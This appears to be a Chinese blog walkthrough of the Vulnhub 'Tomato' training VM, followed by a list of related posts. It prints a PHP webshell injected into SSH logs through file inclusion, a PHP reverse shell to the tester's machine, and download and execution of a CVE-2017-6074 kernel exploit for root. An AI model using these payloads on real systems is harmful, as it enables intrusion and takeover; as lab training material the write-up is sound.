这个靶机挺有意思,它是通过文件包含漏洞进行的getshell,主要姿势是将含有一句话木马的内容记录到ssh的登录日志中,然后利用文件包含漏洞进行包含,从而拿到shell

0x01 靶机信息

靶机:Tomato

难度:中—难

下载:https://www.vulnhub.com/entry/tomato-1,557/

靶机描述:

0x02 信息收集

nmap扫描存活主机确定靶场ip

nmap -sP 192.168.43.0/24

接下来扫描靶机的端口

nmap -sS -sV -p- -v 192.168.43.165

0x03 漏洞发现

然后访问web服务

网站目录扫描

dirb http://192.168.43.165:80

访问antibot_image发现存在目录遍历

发现info.php是phpinfo的界面

查看页面源代码发现一串文件包含的代码

http://192.168.43.165/antibot_image/antibots/info.php?image=/etc/passwd

0x04 漏洞利用

接下来尝试文件包含被污染的SSH日志来getshell

ssh '<?php system($_GET['shell']); ?>'@192.168.43.165 -p2211

这样'<?php system($_GET['shell']); ?>'该用户就会被记录到ssh的日志中去

ssh日志在/var/log/auth.log中

开启nc监听

nc -lvnp 3388

反弹shell   将

http://192.168.43.165/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&shell=php -r '$sock=fsockopen("192.168.43.221",3388);exec("/bin/sh -i <&3 >&3 2>&3");'

其中以下语句是建立socket会话,然后反向连接

php -r '$sock=fsockopen("192.168.43.221",3388);exec("/bin/sh -i <&3 >&3 2>&3");'

然后进行url编码

http://192.168.43.165/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&shell=php+-r+%27%24sock%3dfsockopen(%22192.168.43.221%22%2c3388)%3bexec(%22%2fbin%2fsh+-i+%3c%263+%3e%263+2%3e%263%22)%3b%27

访问URL,成功反弹shell

0x05 权限提升

我们首先建立可交互式shell

python3 -c "import pty;pty.spawn('/bin/bash')"

然后查看linux内核版本

uname -a

去github上去找这个版本的exp

https://github.com/kkamagui/linux-kernel-exploits

用这个CVE-2017-6074的

下载到本地

git clone https://github.com/kkamagui/linux-kernel-exploits.git

然后运行compile.sh 编译c文件

并上传到目标主机

python -m SimpleHTTPServer 8000

然后用wget下载到靶机上

wget http://192.168.43.221:8000/CVE-2017-6074

查看该文件的权限

ls -l

赋予执行权限

chmod +x CVE-2017-6074

运行该文件

发现已经拿到root权限

参考:https://mp.weixin.qq.com/s/40zG1Tjmo_8pbbpN-IWZ4A

Vulnhub系列:Tomato(文件包含getshell)的更多相关文章

  1. CVE-2018-12613 phpmyadmin文件包含getshell连载(三)

    这是phpmyadmin系列渗透思路的第三篇文章,前面一篇文章阐述了通过慢查询日志getshell,本文将通过文件包含漏洞展开讨论 #001 影响版本 Phpmyadmin 4.8.0/4.8.0.1 ...

  2. 通达OA任意文件上传+文件包含GetShell/包含日志文件Getshell

    0x01 简介 通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...

  3. PHP文件包含学习笔记

    看完下面的几篇文章,然后从第8行开始以后的内容可以忽略!此文是个笔记梳理,是对大佬文章简单的COPY记录,方便以后查看,自己只复现了其中的例子 参考文章: PHP文件包含漏洞利用思路与Bypass总结 ...

  4. 文件包含漏洞(RFI)

    1文件包含漏洞简介 include  require  include_once   require_once RFI综述 RFI是Remote File Inclusion的英文缩写,直译过来就是远 ...

  5. Linux Shell系列教程之(十七) Shell文件包含

    本文是Linux Shell系列教程的第(十七)篇,更多Linux Shell教程请看:Linux Shell系列教程 通过文件包含,可以引用其他文件的内容,也可以将复杂内容分开,使程序结构更加清晰. ...

  6. 易酷 cms2.5 本地文件包含漏洞 getshell

    易酷 cms2.5  本地文件包含漏洞 getshell 首先下载源码安装(http://127.0.0.1/test/ekucms2.5/install.php) 安装成功直接进行复现吧 本地包含一 ...

  7. PHP文件包含及使用伪协议getshell

    file:// - 访问本地文件系统 http:// - 访问 HTTP(s) 网址 ftp:// - 访问 FTP(s) URLs php:// - 访问各个输入/输出流(I/O streams) ...

  8. 组合拳 | 本地文件包含漏洞+TFTP=Getshell

    文章声明 安全文章技术仅供参考,此文所提供的信息为漏洞靶场进行渗透,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作. 本文所提供的工具仅用于学习,禁止用于其他,未经授权,严禁转载,如需转 ...

  9. 关于Discuz! X系列UC_Server 本地文件包含漏洞

    最近又发现discuz论坛被挂马了,决定好好研究一下discuz的漏洞,技术债始终要还是要还的 一.问题发现 快要睡觉的时候,突然收到一封邮件,发现服务器上的文件被篡改了,立即登录服务器,清空恶意文件 ...

随机推荐

  1. [BUUCTF]REVERSE——[FlareOn4]login

    [FlareOn4]login 附件 步骤: 是个网页,直接打开,查看网页源码 百度了几个函数 charCodeAt(0)是返回当前字符的Unicode 编码 String.fromCharCode返 ...

  2. 小迪安全 Web安全 基础入门 第六天 - 信息打点-Web架构篇&域名&语言&中间件&数据库&系统&源码获取

    一 . Web架构 语言.常用的Web开发语言有PHP,Java,Python,JavaScript,.net等.具体可参考w3school的介绍. 中间件. (1)常见的Web服务器中间件:IIS. ...

  3. CF508A Pasha and Pixels 题解

    Content 有一个 \(n\times m\) 的矩阵,一开始全部格子被染成白色. 接下来有 \(k\) 个操作,每一个操作表示把一个格子染成黑色.问第一次出现 \(2\times 2\) 的全部 ...

  4. CF1579A Casimir's String Solitaire 题解

    Content 给定一个仅包含 A.B.C 三种字符的字符串 \(s\),有如下两种操作: 删除字符串中的恰好一个 A 和恰好一个 B. 删除字符串中的恰好一个 B 和恰好一个 C. 求是否能够把字符 ...

  5. LuoguP5238 整数校验器 题解

    Content 给定两个整数 \(l,r\),再给定 \(T\) 个整数,请判断对于每个整数 \(x\),是否满足以下要求: \(x\in[l,r]\). \(x\) 格式合法. 数据范围:\(-2^ ...

  6. idea删除同一个模块后新建模块显示被占用

    当我们某个模块因为什么原因需要删除重建的时候 ,输入完模块名称并不能创建出来,这是因为模块已经被注册 解决办法: 1.右键点击项目名称---选择Load/Unload Modules 2.将已经删除的 ...

  7. 宕机导致分区丢失恢复方案testdisk

    一.执行此预案的动机 云主机数据盘分区丢失 二.执行此预案的条件 1.确定用户在报障时间点之前有过数据盘分区存在,而在报障时间点该分区消失 2.在执行我们的恢复操作之前,确保将分区所在数据盘进行备份 ...

  8. libevent源码学习(11):超时管理之min_heap

    目录min_heap的定义向min_heap中添加eventmin_heap中event的激活以下源码均基于libevent-2.0.21-stable.       在前文中,分析了小顶堆min_h ...

  9. java判断一个字符串是否为数字(整型、int)

    引入commons-lang 的jar包 /** * 判断是否是数字类型 * @param str * @return 如果为空返回false 匹配返回true */ public static bo ...

  10. libuv解析

    note libuv解析